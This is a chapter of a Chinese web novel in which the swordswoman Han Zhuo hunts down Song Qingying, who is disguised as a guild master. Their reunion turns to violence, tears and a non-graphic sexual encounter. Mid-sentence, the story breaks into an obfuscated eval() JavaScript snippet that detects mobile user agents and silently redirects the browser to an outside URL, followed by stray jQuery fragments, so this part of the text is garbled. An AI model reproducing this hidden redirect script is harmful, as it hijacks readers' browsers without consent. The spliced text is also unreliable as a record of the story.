70. 今夕何夕

作品:《女驸马穿越手记

    酉时六刻,解忧居。


    西京繁华依旧,楼下推杯换盏之音未绝,二楼雅间端坐了一年轻公子,碧色茶盏被他持在手中把玩,似乎是在等人。


    其实他坐了有一会儿了,神色却无丝毫不耐,广袖下笼着一本近年流行的话本,时不时翻两页,看得也并未很认真。


    一个下巴上长了几缕青须的男人走上楼来,他生得两腮凹陷,身材却十分魁梧,活像野猪身上生了鼠头。虽一身衣服十分气派华贵,但相貌猥琐,倒好似山鸡扮凤凰,说不出得古怪。


    “公子请进吧,堂主等候多时了。”


    那人瞧了瞧立在门边的女子,眼神油滑地上下打量了一番,不怀好意地嘿嘿一笑,倒也没放肆,推门而入。


    门马上要关闭的下一秒,谁也没看清门边那女子是怎么动的,这公子的屁股上狠狠挨了一脚,踉跄着进了屋,险些给屋内的人行了个大礼。


    “哎呦,沈公子,这可使不得。”屋内人并未起身,佯装惊讶地放下了话本子,对面前那人道。


    姓沈的忍了半天才把到了嘴边的污言秽语咽下去,抬头看着眼前之人,却不由愣住了。


    他从未想过路路通的堂主竟然这么年轻,虽以轻纱遮面,但此人气度不凡,微风起落,白衣广袖之下,必定藏了一副美人皮相。


    他心里本还有些警惕的心放下了三分。


    “沈公子坐,也莫白来一趟,尝一尝解忧居的好茶,可还合公子的胃口?”


    那人听堂主这一番话,倒品出了别的意味:“白来一趟?看来堂主是不打算把我沈家的家产还回来了。”


    白衣公子讶道:“还?此话怎讲,令堂一腔报国之志引人钦佩,捐献的家产皆是为了大齐边关稳固,当时和路路通商议多时才成了好事,公子这么一讲,倒好像我独吞了去......”


    “一个死人说的话算得了什么?如今我才是沈家的家主!”


    白衣公子道:“这个我自然知晓,世事无常,沈兄半月前还和我把酒言欢,而今溘然仙逝,实在令人感怀。”


    见那沈公子还要说话,白衣公子悠悠冒出一句:“沈公子,你们沈家的事我不便参与,但老家主之所以做此决断,自然有他的考量,你年纪轻轻,只要日后安分守己,几代攒下来的殷实家底也够衣食无忧,在下冲着与老家主的旧交,便赠两个铺面给沈家,沈公子便去了吧,日后也不必再找来。”


    沈公子听闻自己被这年轻人当了晚辈教训,一阵怒意再也压制不住,见此人松口,更料定他是个可以捏上一捏的软柿子,便一拳砸在桌面上,震得满桌的杯盘一跳:“你个小白脸竟敢这样打发我,我便告诉你......”


    “沈公子有功夫在我这里撒泼,不妨家去再细查一查账。”白衣公子头也未抬,慢条斯理道:“我听说,西京上个月的姚家因放了印子钱,姚大公子现在还在狱中呢,尚不知如何发落。”


    沈公子周身一抖。


    “对了,沈公子在京城,可是大大的有名,却未曾听说对商道有什么涉猎,如今做了家主倒是很让我意外......沈公子知道怎么查账吧?”


    这姓沈的本是个臭名远扬的京城纨绔,成日里只懂在花街柳巷偎红倚翠,本是什么都不懂的草包,却偏偏自命不凡,觉得这天下都有愧于他,他本就没什么脑子,听了这话气得直喘气,竟突然暴起想要动手。


    白衣公子一动未动,随后只听轰地一声,房门豁然大开雪白的刀光一闪,直接架在了沈公子的脖子上。


    那姓沈的突受此机,大叫一声,斜着眼睛向下看去,看见了自己脖子上一道鲜红的血。


    他霎时周身虚软,昏了过去。


    韩濯踢开这长得分外饱满的沈公子,回头看去,唯余空空杯盏,哪还有白衣公子的身影?


    她眯起眼睛,提着刀从敞开的窗口追了出去。


    解忧居背后是几道交错纵横的小巷,宋青瑛从楼上逃出来时,还扯破了半片衣角。


    亏他在那沈草包那泰然自若,此刻遇上故人,吓得三魂丢了七魄,来不及整理划了一道口子的胳膊,脑子里唯一的念头只剩下了跑。


    韩濯跟在后面穷追不舍,眼睁睁瞧见他拐进了旁边一个巷角。


    是个死胡同。


    韩濯突然就没再追了。


    她觉得方才没来得及涌上来的一阵血气此刻漫上了眼,韩濯紧了紧拳,几乎咬碎一口银牙。


    “我告诉你。”


    韩濯的声音几乎是平静的,可似乎下一秒便山呼海啸。


    “我数三个数,你不出来,以后这辈子也别见了。你的臭钱,也别想着让我收。”


    平复了一下呼吸后,韩濯没有丝毫预兆地转身就走。


    她步子很快,当真杀伐果断,毫不拖泥带水,行走如风间,隐约听见身后似乎有人隐隐喊她的名字。


    她的腿被人抱住了。


    宋青瑛只觉得一阵大力将他甩在丈外,而他抬头之时,雪亮的刀剑对上了自己的喉咙。


    韩濯面无表情道:“你最好是有了什么别的相好,看在那个姑娘的份上,我或许可以不杀了你。”


    宋青瑛喉咙滚动片刻顺着韩濯的力道扬起了脸:“那你杀了我吧。”


    “我甘之如饴。”


    那把自己送的刀如降罚的雷霆一般砍了下来,宋青瑛整个人都呆呆的,躲也没躲。


    可他随后感到脸上一凉。


    “别!”他失声叫了出来,左手下意识护住了右脸。


    可韩濯用不容拒绝的力道将他的手掰了下来,韩濯看清楚了,在他右耳下至脖颈,有一道细而又浅的疤痕。


    ......


    就这?


    韩濯的表情有一瞬间的崩裂。


    宋青瑛却崩溃了,爬起来去摸索面纱,还没摸到就被韩濯提了起来。


    “右手怎么了?”


    ......


    “说话!”


    韩濯方才就注意到,宋青瑛的右手一直拢在袖子里,方才举杯也好攀墙也罢用的都是左手。


    他什么时候变成了左撇子?


    宋青瑛挣动半天,带着一种类似绝望的心境把毕生的力气都使了出来,可韩濯也红了眼,他那里拗得过?很快,他的右手便被强行剥了出来。


    韩濯愣住了。


    那右手手腕纤细欲折,手掌却明显浮肿,以一种及其怪异的状态扭曲着,拇指扣在四指之内,不细看,还以为是断了。


    遮掩已久的狼狈就这么大剌剌被日思夜想的人摊了开来,宋青瑛却突然平静了。


    “废了。”


    “什么?”


    宋青瑛看着韩濯,竟然微微笑了笑:“废了,一点感觉也没有,写不了字,也拿不了剑。”


    随后笑了一声:“不过就算没废,我的剑在你眼里大概和废铁也没什么区别。”


    “可以动手了么?”


    远处隐隐能听见面馆老板切肉的声音和小贩的吆喝声


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15222947|156385||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “当啷”一声,韩濯的刀掉落在地。


    宋青瑛睁眼,只看见了她满脸的泪。


    他一颗心鼓噪得厉害,惶惶想站起来替她擦眼泪,刚刚起身便迎上了韩濯的巴掌,脸颊现出五根鲜红的印子。


    “你这个混蛋!”韩濯再也忍不住,拎起宋青瑛的衣襟吼道:“我恨不得你五岁时就死掉!”


    可随后,宋青瑛的嘴被粗暴地堵住了,狠狠磕了一下,撞得既麻又痛,他尝到了血的气息。


    他说不出话来,被韩濯吻得像要溺死的人,在空隙中偷了几口气:“别在这儿......”


    韩濯喘了几口气:“你住哪?”


    院子里尚有两株病怏怏的杏树,花早早谢了,芽叶并未很密,在晚风中颤颤巍巍地发抖,“砰”地一声院门大开,震得近前的枝条摇晃。


    韩濯黑着一张脸,几乎是拽着宋青瑛进了门。本来是用扛的,可宋青瑛的身量不同往日,已长长地抽了条,韩濯扛着一截还要拖在地上一截,只好作罢。


    宋青瑛被摔在床铺上,简直被她霸道得想笑,这人真是一点也不见外,上来就扒自己衣裳。


    “清之!”


    “不愿意就杀了。”韩濯冷冷道。


    “不是,不是……我愿意的。”


    宋青瑛耳朵迅速地红了起来,可他拽着韩濯坐了起来:“我去沐浴。”


    “不准。”


    ……


    “我真的不跑,真的。”


    韩濯不为所动。


    宋青瑛微微侧了侧脸,突然颤声道:“我现在是不是很丑?”


    韩濯没料到他还能打这一张牌,肉眼可见地顿了一下,谁知宋青瑛见状脸色更白了,一边起身一边拢着方才被韩濯剥下来的衣裳,竟是要下床。


    “干什么去!”


    宋青瑛简直要哭出来:“我去拿面纱遮一遮,你先别看……”


    韩濯不由分说将他甩了回来。


    宋青瑛手足无措地想避开韩濯的目光,可对方却立在立在他面前,开始解自己的衣带。


    宋青瑛大囧,扭过头去不看,却被韩濯掰正了脸。


    “丑么?”


    韩濯的胸腹,手臂上叠着大大小小的伤疤,有的的浅浅一条白线,有的却狰狞得仿佛要将人撕裂开。


    “丑也没办法,你胆敢……”


    韩濯不说话了。


    宋青瑛搂住了她的腰,沿着那条横跨胸腹的疤痕吻了上去。


    湿润的眼泪。


    “对不起。”宋青瑛哽咽出声:“我不是有意……我当初……”


    “少废话了。”韩濯嗓子有点哑:“你到底行不行?”


    “天元和小目她们……”


    “早两个时辰前我就见过她们了,”韩濯说着,把宋青瑛按了下去:“不然你以为她们为什么不来追?”


    “我……”


    两人赤诚相待,脑子却热不起来,伤的伤,残的残,眼泪滑下来,浸得心口一片冰凉,噩梦初醒,纠缠到一块时都失了理智,韩濯手上没收住劲儿,把人的后背上抓出两道血痕。


    “姐姐……”宋青瑛魔怔一般趴在韩濯耳边一迭声地唤,韩濯听不清,被他弄得不耐,一巴掌甩了上去:“换一边…右边聋了。”


    ......


    宋青瑛顿住了,泪珠子砸在韩濯身上,烫得厉害。


    “姐姐,你杀了我吧……”


    痛快些,好过这样的凌迟。